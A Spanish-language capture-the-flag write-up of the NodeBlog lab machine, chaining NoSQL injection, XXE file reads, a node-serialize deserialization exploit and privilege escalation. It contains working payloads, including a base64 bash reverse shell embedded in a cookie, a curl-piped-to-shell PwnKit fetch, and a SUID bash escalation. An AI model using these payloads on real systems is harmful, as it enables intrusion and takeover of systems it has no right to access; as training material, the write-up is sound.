NodeBlog
Table of contents
- Enumeracion
- NoSQLi (Authentication Bypass)
- XXE (File Read)
- Insecure Deserialization
- Deserializacion Attack (IIFE)
- Flag de user
- Escalada de privilegios
Tenemos un sitio web a travez del puerto 5000 con NodeJS y ExpressJS con un panel de login el cual es vulnerable a NoSQLi con el que podemos hacer Authentication Bypass, despues descubriremos un apartado para subir archivos XML el cual es vulnetable a XXE con el cual podemos leer archivos internos de la maquina, sin embargo, ocasionando un error se va a filtrar el directorio de la aplicacion, asi que usando XXE vamos leer el archivo server.js en donde descubriremos una Insecure Deserialization en node-serialize, asi que haremos un Deserialization Attack usando IIFE para conseguir RCE, para la escalada encontraremos un puerto que corresponde a MongoDB y encontraremos las credenciales de admin donde a nivel de sudoers podemos ejecutar lo que sea
Enumeracion
Iniciamos con un escaneo de nmap con:
nmap -sS -n -Pn -T4 --open -p- 10.10.11.216
sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si esta abierto
n: para que no haga resolucion DNS y tarde menos el escaneo
Pn: para evitar el descubrimiento de hosts
open: para que solo muestre los puertos abiertos
-p-: para que escanee todo el rango de puertos
Y nos reporto que hay dos puertos abiertos, 22(SSH) y 5000:
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Ahora escanearemos para obtener mas informacion sobre la version y el servicio que estan corriendo bajo ese puerto:
nmap -sCV -p22,5000 10.10.11.139
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open http Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Con el puerto 22 no podemos hacer nada interesante mas que estamos contra un Ubuntu, ademas de que no tenemos credenciales, pero por el puerto 5000 tenemos que hay un servidor web que esta usando NodeJS del lado del servidor y ExpressJS como middleware
Si realizamos fuzzing de directorios con fuerza bruta mediante wfuzz lo unico que encontraremos es que hay una ruta que corresponde a /login
wfuzz -u 'http://10.10.11.139:5000/FUZZ' -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 100 --hc=40
000000053: 200 27 L 59 W 1002 Ch "login"
Explorando el sitio web
Al entrar a la web tenemos como un “blog” y que tiene cierta informacion que no parace interesante
Tambien tenemos un login que descubrimos cuando hicimos fuzzing
Si probamos con credenciales random como lo puenden ser c4rta y nose nos dice que el usuario es invalido
Pero si probramos con credenciales que suelen ser por defecto, como: admin y admin, nos dice que la contraseña es invalida
Esto nos da a entender que el usuario admin es un usuario valido
NoSQLi (Authentication Bypass)
Al interceptar la peticion con burp nos podemos dar cuenta de como se esta enviando nuestra peticion:
POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1
user=c4rta&password=nose
No hay mucho de destacar, podemos ver en el Content-Type que el contenido que estamos enviando es un formulario en URL encode, es una peticion POST, y demas, sin embargo, como estamos contra un login, siempre es bueno probar si existe una SQLi o NoSQLi para hacer Authentication Bypass, les puedo adelantar que mediante SQLi no se va a poder, y viendo por las tecnologias que hemos encontrado hasta ahora, es muy probable que use MEAN stack, asi que probaremos con NoSQLi
De primeras podemos probar con
user=admin&password[$ne]=mizuki
El [$ne] significa not equal, y esta funcionando asi: Si el user es igual a admin y la password no es igual a mizuki, se estarian cumpliendo las dos condiciones por que el usuario admin si es un usuario valido y la contraseña de ese usuario no es mizuki, asi que la consulta seria verdadera y nos deberia de iniciar sesion, en mi caso usare curl:
curl -v -X POST -d 'user=admin&password[$ne]=mizuki' 10.10.11.139:5000/login 2>&1 | grep -E "Content-Length|Invalid"
Pero no funcionara:
curl -v -X POST -d 'user=admin&password[$ne]=mizuki' 10.10.11.139:5000/login 2>&1 | grep -E "Content-Length|Invalid"
> Content-Length: 31
< Content-Length: 1040
Invalid Password
Sin embargo podemos indicarle, que el Content-Type sea JSON para ver si ahora si funciona, simplemenete al comando le agregamos el -H para especificar que el encabezado Content-Type sea application/json y modificamos el fomato de los datos a enviar:
curl -v -X POST -d '{"user": "admin", "password": {"$ne": "mizuki"}}' -H 'Content-Type: application/json' 10.10.11.139:5000/login 2>&1 | grep -E "Content-Length|Invalid"
Y ahora dio una respuesta diferente al Content-Length: 1040
y ya no muestra el Invalid Password
curl -v -X POST -d '{"user": "admin", "password": {"$ne": "mizuki"}}' -H 'Content-Type: application/json' 10.10.11.139:5000/login 2>&1 | grep -E "Content-Length|Invalid"
> Content-Length: 48
< Content-Length: 2625
Eso significa que funciono, en caso de que lo estes haciendo como yo, con curl, puedes modificar el comando y quitarle el grep, asi que quedaria de esta forma:
curl -v -X POST -d '{"user": "admin", "password": {"$ne": "mizuki"}}' -H 'Content-Type: application/json' 10.10.11.139:5000/login
Ahora saldra mas informacion, y en los encabezados de respuesta podras ver una cookie de sesion:
Set-Cookie: auth=%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D; Max-Age=900; Path=/; Expires=Wed, 09 Aug 2023 03:24:03 GMT; HttpOnly
Asi que ahora debemos de establecer esa cookie en el navegador, puedes usar Cookie Editor o desde el mismo navegador, yo use Cookie Editor y quedo asi:
Y el recargar la pagina en la ruta / ya podremos acceder como admin evadiendo el login
Extra
Mientras probaba con curl al realizar las peticiones, hubo un momento donde se me olvido cerrar una llave en este comando:
curl -v -X POST -d '{"user": "admin", "password": {"$ne": "mizuki"}' -H 'Content-Type: application/json' 10.10.11.139:5000/login
Y eso me arrojo esto:
* Trying 10.10.11.139:5000...
* Connected to 10.10.11.139 (10.10.11.139) port 5000 (#0)
> POST /login HTTP/1.1
> Host: 10.10.11.139:5000
> User-Agent: curl/8.1.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 47
>
< HTTP/1.1 400 Bad Request
< X-Powered-By: Express
< Content-Security-Policy: default-src 'none'
< X-Content-Type-Options: nosniff
< Content-Type: text/html; charset=utf-8
< Content-Length: 849
< Date: Thu, 10 Aug 2023 02:36:34 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/opt/blog/node_modules/body-parser/lib/types/json.js:89:19)<br> at /opt/blog/node_modules/body-parser/lib/read.js:121:18<br> at invokeCallback (/opt/blog/node_modules/raw-body/index.js:224:16)<br> at done (/opt/blog/node_modules/raw-body/index.js:213:7)<br> at IncomingMessage.onEnd (/opt/blog/node_modules/raw-body/index.js:273:7)<br> at IncomingMessage.emit (events.js:412:35)<br> at endReadableNT (internal/streams/readable.js:1334:12)<br> at processTicksAndRejections (internal/process/task_queues.js:82:21)</pre>
</body>
</html>
* Connection #0 to host 10.10.11.139 left intact
Parece una tonteria, pero no, desde mi experiencia en CTFs, cuando a una aplicacion se le proporciona una entrada invalida va a petar, y en ocaciones mostrara informacion que puede ser de utilidad, y muchas veces esa informacion es la ruta de donde recide a aplicacion, y este caso podemos ver que es /opt/blog/, esto sera inportante mas adelante
XXE (File Read)
Si exploramos otra vez, ahora vamos a poder subir archivos y crear nuevos posts, nos centraremos en la parte de subir archivos, si intentamos subir un archivo cualquiera, un txt por ejemplo, nos arrojara un mensaje como este:
Invalid XML Example: Example DescriptionExample Markdown
Al paracer esta esperando un XML con una estructura, si le damos Ctrl + U para ver el codigo fuente, vamos a poder ver la estructura que espera:
Invalid XML Example: <post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>Example Markdown</markdown>
</post>
Asi que ahora subiremos un XML con esa estructura para probar, y vean que nos lo interpreta:
En este punto como sabemos que podemos subir archivos XML y este sera interpretado, intentaremos probar XXE pero no centraremos en leer archivos de la maquina de esta manera:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY archivo SYSTEM "file:///etc/passwd"> ]>
<post>
<title>ola</title>
<description>descripcion ejemplo</description>
<markdown>&archivo;</markdown>
</post>
- Con <!DOCTYPE foo [ <!ENTITY archivo SYSTEM “file:///etc/passwd”> ]> se le esta indicando que defina una entidad externa con el nombre archivo la cual hace uso del wrapper file:// para apuntar al archivo /etc/passwd, si probamos vamos a poder ver el archivo passwd, lo que estaria pasando es que la entidad externa se estaria procesando, y gracias al wapper file, se estaria incluyendo el archivo passwd en la respuesta del servidor
XXE (leyendo el archivo de la aplicacion)
Recordemos que anteriormente les habia mostrado que en el panel de login cuando se le manda una entrada incorrecta, la aplicacion peta y filtra la ruta de la aplicacion, la cual es /opt/blog/, nuestro objetivo es encontrar el archivo main de la aplicacion, tambien recuerden que en la enumeracion nos dimos cuenta que aplicacion hace uso de NodeJS, pues en una aplicacion de NodeJS los nombres del archivo main mas comunes son: server.js, app.js, index.js o main.js, asi que usaremos el XXE para apuntar a ese archivo, les puedo adelantar que el correcto en este caso es el server.js, y nuestro payload quedaria asi:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY archivo SYSTEM "file:///opt/blog/server.js"> ]>
<post>
<title>ola</title>
<description>descripcion ejemplo</description>
<markdown>&archivo;</markdown>
</post>
El ejecutarlo obtendremos el contenido de ese archivo
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
Insecure Deserialization
Observa que en los imports se importa node-serialize
const serialize = require('node-serialize')
node-serialize es un modulo de NodeJS para deserializar y serializar objetos JSON, este modulo es controversial por que es vulnerable a RCE mediante una Insecure Deserialization en el metodo unserialize si se usa una expresion IIFE.
Analisis del codigo
La parte interesante es la funcion authenticated
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
La funcion recibe un unico parametro que es c, que en esta caso es una objeto en JSON serializado
El primer if verifica si el objerto serializado (c) que corresponde a la cookie, es undefined, osea que si no se proporciona, entonces regresa false, esto es simplemente para comprobar si el usuario no esta autenticado
Con c = serialize.unserialize(c) se este deserializando el objeto c, observa que unserialize se utiliza sobre la cookie (c), esa cookie es la misma que usamos anteriormente, esa cookie esta en formato JSON y en URL encode, si la decodificamos, obtenemos algo como esto:
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}
- Con el ultimo if se verifica si la firma de la cookie es correcta, esta comprobacion la hace calculando el hash MD5 del resultado de concatenar cookie_secret y c.user
Como sabemos que el metodo unserialize es vulnerable a Insecure Deserialization y ademas de que la cookie se le pasa a unserialize, entonces debemos de agregar nuestro payload a la cookie, la explotacion la hare guiandome de aqui y de aqui, basicamente nos dice que podemos conseguir RCE si le pasamos un objeto serializado malicioso usando IIFE para invocar inmediatemente la funcion.
IIFE
Antes de explotar, veremos como funciona IIFE, IIFE significa Immediately Invoked Function Expression, y son funciones que se ejecutan tan pronto como se definen, ej
Tenemos una funcion como esta:
function hola() {
console.log("hola");
}
Que no se va a ejecutar hasta que nosotros la mandemos llamar de una forma parecida a esta: hola();, pero que pasara si ahora nosotros la convertimos en esto:
(function () {
console.log("hola");
})();
Observa como se agregaron parentesis de mas, y al final se le agrego un ();, eso se hizo para indicarle que la funcion sea llamada, es decir que permita una ejecucion inmediata apenas sea definida la funcion, basicamante el (); en el que nos permite ejecutar la funcion apenas sea definida, si quieres saber mas haz click aqui
Deserializacion Attack (IIFE)
Regresando a la explotacion, primero para probar la vulnerabilidad debemos de generar objeto serializado usando node-serialize
, asi que instalaremos ese modulo
npm install node-serialize
Despues creamos un archivo de js y usaremos este PoC:
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'whoami \', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
Observa que la variable payload es la que tiene todo nuestro payload, unico que esta haciendo es definir una funcion que usara exec para ejecutar un comando, en este caso es whoami, la parte de IIFE entra al final del payload, observa como al final se le agrega un (), que como mencione anteriormente, esta permitiendo que la funcion se ejecutara inmediatemente apenas sea definida, el resultado de ejecutar esto, es el resultado de ejecutar el comando whoami
Asi que ahora debemos de hacer lo mismo pero en la maquina victima, ¿Y como?, usaremos un payload similar a este:
{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'whoami \', function(error, stdout, stderr) { console.log(stdout) });}()"}
Pero en lugar de ejecutar el whoami, ejecutaremos una reverse shell, y ese payload lo URL encodearemos y lo pasaremos como cookie, si preguntas que por que a la cookie, es por que cuando analizamos el codigo de la aplicacion, la cookie se le pasa al metodo unserialize, entonces cuando la aplicacion deserialize la cookie, se estaria deserializando nuestro payload que esta haciendo uso de IIFE para ejecutar la funcion y darnos una reverse shell.
Nuestro payload quedaria asi:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80NDMgMD4mMQo=|base64 -d|bash',function(error,stdout,stderr){console.log(stdout)});}()"}
Date cuenta que la reverse shell esta en base64 y simplemente se decodifica, fue generada de esta forma:
echo 'bash -i >& /dev/tcp/<ip>/443 0>&1' | base64
Esto si lo URL encodeamos queda algo como esto:
%7B%22rce%22%3A%22_%24%24ND_FUNC%24%24_function%28%29%7Brequire%28%27child_process%27%29.exec%28%27echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80NDMgMD4mMQo%3D%7Cbase64%20-d%7Cbash%27%2Cfunction%28error%2Cstdout%2Cstderr%29%7Bconsole.log%28stdout%29%7D%29%3B%7D%28%29%22%7D
Y esa seria el valor de la cookie que ingresaremos, de esta forma:
Solo recargamos y si estamos en escucha tendremos una shell
Flag de user
Si vemos que podemos ejecutar a nivel de sudoers, nos pedira una contraseña que no sabemos cual es:
admin@nodeblog:/home$ sudo -l
[sudo] password for admin:
Si intentamos ingresar al directorio admin, nos dira que no tenemos permisos:
admin@nodeblog:/home$ cd admin/
bash: cd: admin/: Permission denied
Sin embargo, vemos que nosotros somo el propietario de ese directorio:
drw-r--r-- 1 admin admin 220 Jan 3 2022 admin
Asi que simplemente podemos darle permisos con chmod y ya esta la flag:
admin@nodeblog:/home$ chmod +x admin/
admin@nodeblog:/home$ cat admin/user.txt
e7713113cad6e97e6f762a60e80cba37
Escalada de privilegios
Via pwnkit
Si buscamos por binarios SUID con el comando
find / -perm -u=s -type f 2>/dev/null
Podemos ver que existe el de pkexec: /usr/bin/pkexec, asi que existe una via potencial para escalar privilegios con pwnkit, para explotarla nos guiaremos de este exploit: https://github.com/ly4k/PwnKit
Ahi nos dicen que podemos ejecutarlo simplemente con un comando:
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
Sin embargo en la maquina no funcionara, asi que descargare el exploit en mi maquina y luego creare un servidor web con python para pasarlo a la maquina victima, simplemente en la maquina victima hacemos un wget le damos permisos y ejecutamos y ya somos root:
admin@nodeblog:/tmp$ chmod +x PwnKit
admin@nodeblog:/tmp$ ./PwnKit
root@nodeblog:/tmp# whoami
root
root@nodeblog:/tmp#
Sin embargo, esta forma de escalar privilegios esta guarra, asi que lo haremos por la intencionada
Via mongodb enumeration
Al principio del writeup les habia mencionado que el sitio web es muy probable que use MEAN stack, eso significa que usa:
- M: MongoDB
- E: ExpressJS
- A: AngularJS
- N: NodeJS
Y la neta tiene toda la pinta de que lo use, si mostramos por puertos abiertos y conexiones establecidas con el comando:
netstat -a
Podemos ver que existe el puerto 27017:
tcp 0 0 nodeblog:27017 nodeblog:38938 ESTABLISHED
Si buscamos en google el puerto por defecto de MongoDB, nos saldra que es ese, y tambien en las conexiones establecidas, podremos ver una conexion con un archivo de MongoDB
unix 2 [ ACC ] STREAM LISTENING 20468 /run/mongodb/mongodb-27017.sock
Entonces lo que queda es empezar a enumerar la base de datos, usando el comando mongo nos conectaremos a la base de datos, si usamos show databases veremos todas las bases de datos existentes:
> show databases
admin 0.000GB
blog 0.000GB
config 0.000GB
local 0.000GB
Ahora usando use blog le indicaremos que haremos uso de la base de datos blog, despues usaremos show collections para mostrar todas las colecciones existentes en esa base de datos:
> show collections
articles
users
Despues usamos find() para mostar todo el contenido de la coleccion users
> db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }
Podemos ver que las credenciales para el usuario admin es IppsecSaysPleaseSubscribe
Si recordamos anteriormente, cuando listamos que podiamos ejecutar a nivel de sudoers, nos pedia una contraseña para el usuario admin, asi que ahora usaremos el sudo -l y la contraseña sera la que acabamos de sacar:
[sudo] password for admin:
Matching Defaults entries for admin on nodeblog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL
Podemos ver que como el usuario admin podemos ejecutar lo que sea, asi que simplemente podemos darle permisos SUID la bash y luego ejecutar un bash -p y ya seriamos root
sudo chmod u+s /bin/bash
bash -p
admin@nodeblog:/home$ sudo chmod u+s /bin/bash
admin@nodeblog:/home$ bash -p
bash-5.0# whoami
root
bash-5.0#
Eso ha sido todo, gracias por leer ❤